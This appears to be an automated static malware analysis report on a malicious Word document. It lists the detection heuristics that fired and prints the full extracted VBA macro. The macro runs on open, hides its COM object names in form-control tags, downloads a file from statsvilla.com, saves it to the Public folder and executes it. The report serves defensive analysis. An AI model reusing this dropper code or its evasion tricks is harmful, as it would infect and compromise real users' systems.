Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 a6a4eabf8462ca68…

MALICIOUS

Office (OOXML)

210.8 KB Created: 2021-02-07 17:10:00 UTC Authoring application: Microsoft Office Word 16.0000 First seen: 2022-06-20
MD5: a2faf8c03911bb6dc3e76b595dcd5321 SHA-1: 357426658c82f0117239d41d32c8cd9ab20c7689 SHA-256: a6a4eabf8462ca689f8b8a5f66a60fc944beb5cdf3806a0ecebd8a44557ec11e
230 Risk Score

Heuristics 7

  • VBA project inside OOXML medium 5 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • Potential Shell call in VBA critical OLE_VBA_SHELL
    Potential Shell call in VBA
    Matched line in script
          VBA.Shell$ ResponseBuf & Trim(StorageScreenTextbox)
  • VBA downloads and writes a file to disk critical OLE_VBA_HTTP_DROP_EXEC
    VBA reads an HTTP response body and writes it to disk (ADODB.Stream SaveToFile). Combined with the auto-exec/Shell paths this is a download-drop dropper even when the COM ProgIDs are built dynamically to evade keyword scanning.
    Matched line in script
      LocalMemoryNamespace = sreqinstance.ResponseBody
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
          Set MainListboxGlobal = CreateObject(ResponseBuf)
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Triggers on the COMBINATION of two tokens co-occurring in the same compiled VBA/cache stream: an auto-execution entry point (Auto_Open / AutoOpen / Document_Open / Workbook_Open / Auto_Close / AutoClose) AND a shell/download/object-execution token (Shell, CreateObject, GetObject, PowerShell, cmd.exe, URLDownloadToFile, WinHttp, XMLHTTP, ADODB.Stream, ShellExecute, ExecuteExcel4Macro). Neither token alone fires it — it is the pairing that flags p-code-only or source-extraction-failure macro documents where the visible VBA source is unavailable. The matched tokens are named in the detail line below.
  • AutoOpen macro low OLE_VBA_AUTOOPEN
    AutoOpen macro
    Matched line in script
    Sub AutoOpen()
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.microsoft.com/office/word/2010/wordprocessingCanvas Referenced by macro
    • http://schemas.microsoft.com/office/drawing/2014/chartexReferenced by macro
    • http://schemas.microsoft.com/office/drawing/2015/9/8/chartexReferenced by macro
    • http://schemas.microsoft.com/office/drawing/2015/10/21/chartexReferenced by macro
    • http://schemas.microsoft.com/office/drawing/2016/5/9/chartexReferenced by macro
    • http://schemas.microsoft.com/office/drawing/2016/5/10/chartexReferenced by macro
    • http://schemas.microsoft.com/office/drawing/2016/5/11/chartexReferenced by macro
    • http://schemas.microsoft.com/office/drawing/2016/5/12/chartexReferenced by macro
    • http://schemas.microsoft.com/office/drawing/2016/5/13/chartexReferenced by macro
    • http://schemas.microsoft.com/office/drawing/2016/5/14/chartexReferenced by macro
    • http://schemas.openxmlformats.org/markup-compatibility/2006Referenced by macro
    • http://schemas.microsoft.com/office/drawing/2016/inkReferenced by macro
    • http://schemas.microsoft.com/office/drawing/2017/model3dReferenced by macro
    • http://schemas.openxmlformats.org/officeDocument/2006/relationshipsReferenced by macro
    • http://schemas.openxmlformats.org/officeDocument/2006/mathReferenced by macro
    • http://schemas.microsoft.com/office/word/2010/wordprocessingDrawingReferenced by macro
    • http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawingReferenced by macro
    • http://schemas.openxmlformats.org/wordprocessingml/2006/mainReferenced by macro
    • http://schemas.microsoft.com/office/word/2010/wordmlReferenced by macro
    • http://schemas.microsoft.com/office/word/2012/wordmlReferenced by macro
    • http://schemas.microsoft.com/office/word/2016/wordml/cidReferenced by macro
    • http://schemas.microsoft.com/office/word/2015/wordml/symexReferenced by macro
    • http://schemas.microsoft.com/office/word/2010/wordprocessingGroupReferenced by macro
    • http://schemas.microsoft.com/office/word/2010/wordprocessingInkReferenced by macro
    • http://schemas.microsoft.com/office/word/2006/wordmlReferenced by macro
    • http://schemas.microsoft.com/office/word/2010/wordprocessingShapeReferenced by macro

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 2482 bytes
SHA-256: 215c98052f6f12eacde8008b54f04924d9f1f4782f4535d04eae572ba3d24f30
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Sub AutoOpen()
 UiComponent2.OptionButton1_Click
End Sub

Attribute VB_Name = "UiComponent2"
Attribute VB_Base = "0{253376A7-3A51-4572-ADD2-F4253B88E104}{81F80A59-3B3C-4683-B780-D1B30A922A6C}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False
Public StorageScreenTextbox
Public MemoryPastePaste
Public reqmethod


Private Sub CommandButton1_Click()
ListBox1.AddItem (Image1.ControlTipText)
ListBox1.AddItem ("://statsvilla.com/preview.jpg")
End Sub


Private Sub ListBox1_Click()
UiComponent2.StorageScreenTextbox = "C:\users\Public\" + "deli.png"
 UiComponent2.MemoryPastePaste = "https"
 UiComponent2.reqmethod = "GET"
 ConstW = 1
 
 Dim MainListboxGlobal As Object
 Dim ArgumentVarGeneric As Object
 

 For Each ResponseBuf In ListBox1.List
    If ConstW = Len("E") Then
      Set MainListboxGlobal = CreateObject(ResponseBuf)
      RemoveCounter MainListboxGlobal, reqmethod, UiComponent2.MemoryPastePaste & ListBox1.List(3)
    End If
    
    If ConstW = Len("EE") And 1 = 1 And Len("Q") = 1 Then
        Set ArgumentVarGeneric = ConvertReference(ResponseBuf + Trim("a") + Trim("m"))
        ArgumentVarGeneric.Write LocalMemoryNamespace(MainListboxGlobal)
        ArgumentVarGeneric.SaveToFile$ StorageScreenTextbox, 2
    End If
    
    If ConstW = Len("FFF") Then
      VBA.Shell$ ResponseBuf & Trim(StorageScreenTextbox)
    End If
    
    ConstW = ConstW + 1
 Next
End Sub

Function ConvertReference(str)
  Set GlobalW = CreateObject(str)
  GlobalW.Open
  GlobalW.Type = 1
  Set ConvertReference = GlobalW
End Function

Function RemoveCounter(TmpSwap, AClear, ConvertLoadSwap)
   TmpSwap.Open AClear, ConvertLoadSwap, False
   TmpSwap.Send
End Function

Function LocalMemoryNamespace(sreqinstance)
  LocalMemoryNamespace = sreqinstance.ResponseBody
End Function

Public Sub OptionButton1_Click()
ListBox1.AddItem (CommandButton1.Tag)
 ListBox1.AddItem (CheckBox1.Tag)
 CommandButton1_Click
 ListBox1_Click
End Sub

Private Sub skuid_Change()

End Sub
vbaProject_00.bin vba-project OOXML VBA project: word/vbaProject.bin 91648 bytes
SHA-256: 9cd338880249b5fc2c6e79885e8390e512907a80e1bf2b9ea3834495fa364ce2

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